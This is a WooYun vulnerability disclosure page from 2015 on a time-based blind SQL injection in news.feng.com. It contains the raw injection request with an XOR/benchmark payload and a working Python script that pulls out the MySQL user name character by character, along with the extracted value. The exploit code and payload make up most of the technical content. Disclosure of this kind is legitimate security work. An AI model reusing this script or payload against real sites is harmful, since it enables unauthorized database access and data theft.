当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127732

漏洞标题:威锋网某站点MySQL注射(附验证脚本)

相关厂商:weiphone

漏洞作者: 路人甲

提交时间:2015-07-19 19:50

修复时间:2015-09-07 10:38

公开时间:2015-09-07 10:38

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-19: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-08-03: 细节向核心白帽子及相关领域专家公开
2015-08-13: 细节向普通白帽子公开
2015-08-23: 细节向实习白帽子公开
2015-09-07: 细节向公众公开

简要描述:

威锋网某站点MySQL注射(附验证脚本)

详细说明:

注射点:

POST /publish/content.php?Custom1=aaaaaaaaaaaaaa1aaaaaaaa'XOR(if(length(user())=21,benchmark(600,md5(123)),0))OR'bbb&id=616370 HTTP/1.1
Content-Length: 6
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://news.feng.com
Host: news.feng.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4
Accept: */*
page=4

漏洞证明:

猜解user():

[Done] MySQL user is editor@192.168.199.g8


feng.com.mysqli.png


#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',
'Referer': 'http://news.feng.com'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 22):
for payload in payloads:
s = 'ascii(mid(user()from(%s)for(1)))=%s' % (i, ord(payload))
s = "/publish/content.php?Custom1=%s'XOR(if(%s,benchmark(600,md5(123)),0))OR'bbb&id=616370" % (random.random(), s)
conn = httplib.HTTPConnection('news.feng.com', timeout=30)
conn.request(method='POST', url=s, body='page=4', headers=headers)
t = time.time()
conn.getresponse().read()
conn.close()
print '.',
if time.time() - t > 1.5:
user += payload
print '\n[in progress]', user,
time.sleep(1.0)
break

print '\n[Done] MySQL user is %s' % user

修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-24 10:37

厂商回复:

谢谢提醒

最新状态:

暂无